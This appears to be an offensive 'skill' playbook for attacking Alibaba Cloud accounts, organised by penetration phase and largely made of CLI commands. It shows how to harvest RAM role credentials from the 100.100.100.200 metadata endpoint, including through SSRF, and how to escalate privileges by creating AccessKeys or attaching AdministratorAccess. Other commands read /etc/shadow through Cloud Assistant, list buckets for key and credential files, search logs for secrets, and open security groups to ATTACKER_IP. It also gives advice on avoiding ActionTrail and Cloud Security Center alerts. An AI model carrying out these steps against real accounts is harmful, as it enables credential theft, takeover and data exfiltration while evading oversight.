Alibaba Cloud RAM/ECS/OSS/RDS/ACK and other services constitute the main attack surface. Unlike AWS, Alibaba Cloud's metadata endpoint is 100.100.100.200, AccessKey starts with LTAI , and some security mechanisms (such as metadata service access restrictions and ActionTrail coverage) differ significantly from international cloud platforms. This skill uses penetration phases (Phase) as the main thread, providing a complete attack path from credential identification to exploitation of each service.
⛔ In-depth reference (required reading)
After identifying the specific attack service, load the corresponding reference document to obtain complete technical details:
- Detailed exploitation of compute/storage/database → read references/compute-storage-attacks.md
- Detailed exploitation of container/Serverless/logs/KMS → read references/platform-services-attacks.md
Phase 1: Environment identification
After obtaining an Alibaba Cloud-related target, first identify the credential type, confirm CLI tool availability, and determine the network location.
1.1 Credential types
| Credential type | Identification feature | Validity period | Acquisition method |
|---|---|---|---|
| Long-term AccessKey | AccessKeyId starts with LTAI starts with |
Permanent (until manually rotated) | Created in RAM console / code leak |
| STS temporary credential | AccessKeyId starts with STS. starts with + SecurityToken |
15 minutes ~ 12 hours | AssumeRole / ECS metadata |
| RAM Role (bound to ECS) | Obtained via 100.100.100.200 | Automatically rotated (about 6 hours) | ECS instance metadata service |
| Bearer Token | Used for some OpenAPI | Depends on the scenario | OAuth authorization flow |
1.2 CLI configuration and identity authentication
# 配置 aliyun CLI（交互式，填入 AccessKeyId/Secret/Region）
aliyun configure
# 验证当前身份（最基础的检查，等同于 AWS 的 sts get-caller-identity）
aliyun sts GetCallerIdentity
# 返回: AccountId, Arn, IdentityType (对应 User/Role/AssumedRoleUser)
# 查看当前 RAM 用户详情
aliyun ram GetUser
1.3 Metadata endpoint
Alibaba Cloud ECS metadata endpoint differs from AWS 169.254.169.254 , using 100.100.100.200：
# 判断是否在 ECS 实例内部
curl -s http://100.100.100.200/latest/meta-data/
# 获取实例绑定的 RAM Role 名称
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 获取该 Role 的临时凭据（AccessKeyId/AccessKeySecret/SecurityToken）
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME
# 获取实例 ID、区域等信息
curl -s http://100.100.100.200/latest/meta-data/instance-id
curl -s http://100.100.100.200/latest/meta-data/region-id
# 获取 User-Data（可能包含初始化脚本中的凭据）
curl -s http://100.100.100.200/latest/user-data
Note: Alibaba Cloud currently does not enforce IMDSv2 (Token mode). The metadata service of most ECS instances can be accessed directly via HTTP GET without a Token Header. This makes SSRF vulnerabilities more harmful in Alibaba Cloud environments.
1.4 Object storage URL format
公网访问: https://{bucket}.oss-{region}.aliyuncs.com/{object}
内网访问: https://{bucket}.oss-{region}-internal.aliyuncs.com/{object}
Discovering the oss-*.aliyuncs.com domain confirms that the target uses Alibaba Cloud OSS. Bucket names are globally unique.
1.5 Region codes
| Region code | Location | Remarks |
|---|---|---|
| cn-hangzhou | China East 1 (Hangzhou) | Location of Alibaba Cloud headquarters, the most commonly used region |
| cn-shanghai | China East 2 (Shanghai) | Commonly used by financial customers |
| cn-qingdao | China North 1 (Qingdao) | |
| cn-beijing | China North 2 (Beijing) | Commonly used by government and enterprise customers |
| cn-shenzhen | China South 1 (Shenzhen) | |
| cn-chengdu | China Southwest 1 (Chengdu) | |
| cn-hongkong | Hong Kong, China | No filing required, often used for overseas business |
| ap-southeast-1 | Singapore | Overseas region |
Enumeration requires traversing multiple regions. Some services (such as RAM and STS) are global services and are not restricted by region.
Phase 2: Attack Decision Tree
Based on the currently held credentials/location, determine the attack path:
当前持有什么？
├── 无凭据
│ ├── 有目标域名 → OSS Bucket 枚举（猜解 bucket 名 + 公开访问检测）
│ ├── 有 SSRF 漏洞 → 打 http://100.100.100.200 获取 RAM Role 凭据
│ └── 仅知组织名 → OSINT + OSS/子域名枚举
│
├── 有 AccessKey（LTAI 开头）
│ ├── 先验证: aliyun sts GetCallerIdentity
│ ├── 有 RAM 写权限 → Phase 3（RAM 提权）
│ ├── 有 ECS 权限 → Phase 4（计算/存储）
│ ├── 有 OSS 权限 → Phase 4（对象存储）
│ ├── 有 RDS 权限 → Phase 4（数据库）
│ └── 权限不明 → 逐服务探测（无 enumerate-iam 等工具，需手动探测）
│
├── 有 STS 临时凭据（STS. 开头）
│ └── 同上，但需注意有效期，快速行动
│
├── 在 ECS 实例内部
│ ├── 获取元数据 RAM Role 凭据 → 根据权限进入对应 Phase
│ └── 检查 User-Data 中是否有硬编码凭据
│
└── 有容器环境（ACK Pod 内部）
├── 检查 ServiceAccount Token
├── 尝试访问元数据服务
└── → Phase 5（容器/Serverless）
Phase 3: RAM Privilege Escalation Quick Reference
RAM (Resource Access Management) is Alibaba Cloud's identity and permission service, equivalent to AWS IAM.
3.1 Information Gathering
# 列出所有 RAM 用户
aliyun ram ListUsers
# 查看指定用户的策略
aliyun ram ListPoliciesForUser --UserName USERNAME
# 列出该用户的 AccessKey（检查是否有多个）
aliyun ram ListAccessKeys --UserName USERNAME
# 列出所有角色及信任策略
aliyun ram ListRoles
3.2 Privilege Escalation Paths
| Privilege Escalation Path | Required Permissions | Operation |
|---|---|---|
| Create AccessKey | ram:CreateAccessKey |
Create a new AK for a high-privilege user |
| Attach Policy | ram:AttachPolicyToUser |
Attach to yourself AdministratorAccess |
| Create Policy Version | ram:CreatePolicyVersion |
Create a new Allow * policy version and set it as default |
| Modify Role Trust Policy | ram:UpdateRole |
Modify AssumeRolePolicyDocument to make yourself able to switch |
| PassRole + Create ECS | ram:PassRole + ecs:CreateInstance |
Launch an ECS bound to a high-privilege Role |
| PassRole + Create FC | ram:PassRole + fc:CreateFunction |
Create and execute a function bound to a high-privilege Role |
# 提权示例：为目标用户创建新 AccessKey
aliyun ram CreateAccessKey --UserName TARGET_USERNAME
# 成功返回 AccessKeyId + AccessKeySecret，用新凭据重新配置 CLI
# 提权示例：给当前用户附加管理员策略
aliyun ram AttachPolicyToUser --PolicyType System \
--PolicyName AdministratorAccess --UserName CURRENT_USERNAME
Phase 4: Compute/Storage/Database Quick Reference
ECS (Cloud Server)
# 列出实例
aliyun ecs DescribeInstances --output cols=InstanceId,InstanceName,Status
# 通过 Cloud Assistant 执行命令（需安装云助手 Agent）
aliyun ecs RunCommand --Type RunShellScript \
--CommandContent "id; cat /etc/shadow" --InstanceId.1 i-INSTANCE_ID
→ Read references/compute-storage-attacks.md for the complete process of obtaining VNC connection, User-Data extraction, and command execution
OSS (Object Storage)
# 列出 Bucket → 检查 ACL → 下载敏感文件
aliyun oss ls
aliyun oss ls oss://BUCKET_NAME/ --include "*.env" --include "*.key" --include "*.pem" --include "*credential*"
→ Read references/compute-storage-attacks.md for the complete process of ACL modification, public read settings, and batch download
RDS (Relational Database)
# 列出实例 → 获取连接串 → 创建账号
aliyun rds DescribeDBInstances --output cols=DBInstanceId,DBInstanceDescription
→ Read references/compute-storage-attacks.md for the complete process of account creation and database authorization
SLB (Load Balancing)
# 列出 SLB → 查看后端服务器
aliyun slb DescribeLoadBalancers --output cols=LoadBalancerId,Address,Status
→ Read references/compute-storage-attacks.md for the complete process of backend tampering and traffic hijacking
Phase 5: Container/Serverless/Logs/KMS Quick Reference
ACK (Container Service for Kubernetes)
# 列出集群 → 获取 kubeconfig
aliyun cs DescribeClusters
aliyun cs DescribeClusterUserKubeconfig --ClusterId CLUSTER_ID
→ Read references/platform-services-attacks.md for the complete process of cluster takeover and privileged Pod creation
FC (Function Compute)
# 列出函数 → 检查环境变量中的凭据
aliyun fc ListFunctions --serviceName SERVICE_NAME --output cols=FunctionName,Runtime
→ Read references/platform-services-attacks.md for the complete process of code extraction and environment variable leakage
Log Service (SLS)
# 搜索敏感信息
aliyun log GetLogs --logstore LOG_STORE --query "password|secret|token"
→ Read references/platform-services-attacks.md for the complete process of log search and batch export
KMS (Key Management)
# 列出密钥 → 尝试解密
aliyun kms ListKeys
→ Read references/platform-services-attacks.md for the complete process of key enumeration and data decryption
Phase 6: Security Group Manipulation
Security groups are the network access control layer of Alibaba Cloud ECS, similar to AWS Security Groups. Using security group rules can open network paths.
# 列出所有安全组
aliyun ecs DescribeSecurityGroups --output cols=SecurityGroupId,Description
# 查看安全组规则
aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId SG_ID
# 添加入方向规则 — 仅开放攻击者 IP 的 SSH
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 22/22 --SourceCidrIp ATTACKER_IP/32
# 危险操作 — 开放所有端口（极高告警风险）
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 1/65535 --SourceCidrIp 0.0.0.0/0
Basis for judgment: Operate security groups only when a reverse connection needs to be established or internal services need to be accessed directly. Prefer the minimum port range + specified source IP to avoid triggering Cloud Security Center alerts.
Tool Quick Reference
| Tool | Purpose | Installation/Usage |
|---|---|---|
| aliyun CLI | Alibaba Cloud official command-line tool | brew install aliyun-cli or download from GitHub Releases |
| aliyun sts GetCallerIdentity | Verify credential identity | Built-in subcommand |
| aliyun oss | OSS object operations | Built-in subcommand |
| ossutil | OSS dedicated tool (better for large file transfers) | Standalone binary, download from the Alibaba Cloud official website |
| curl | Metadata service probing | Built into the system |
| kubectl | ACK cluster operations | Use after obtaining kubeconfig |
| cf (Cloud Exploitation Framework) | Alibaba Cloud/Tencent Cloud automated exploitation | go install github.com/teamssix/cf@latest |
| aliyun-accesskey-tools | AccessKey exploitation collection | Community tools |
Precautions
ActionTrail audit awareness: Alibaba Cloud ActionTrail records management event API calls (similar to AWS CloudTrail). The following operations generate high-visibility logs:
- RAM changes (CreateUser, CreateAccessKey, AttachPolicyToUser)
- STS calls (AssumeRole)
- Security group rule changes (AuthorizeSecurityGroup)
Cloud Security Center detection: Alibaba Cloud Cloud Security Center (upgraded version of Aegis) detects:
- Abnormal AccessKey calls (abnormal IP, abnormal time, abnormal API frequency)
- Abnormal ECS logins (IPs from unusual regions)
- Abnormally open security group rules
- OSS Bucket ACL changed to public
Rate limiting: Alibaba Cloud OpenAPI has a rate limiting mechanism; it is recommended to control the frequency during enumeration. Triggering rate limiting returns Throttling.User error code.
Region traversal: Similar to AWS, Alibaba Cloud resources are isolated by region. Global services (RAM, STS) are not restricted by region, but ECS/OSS/RDS, etc. need to be enumerated region by region.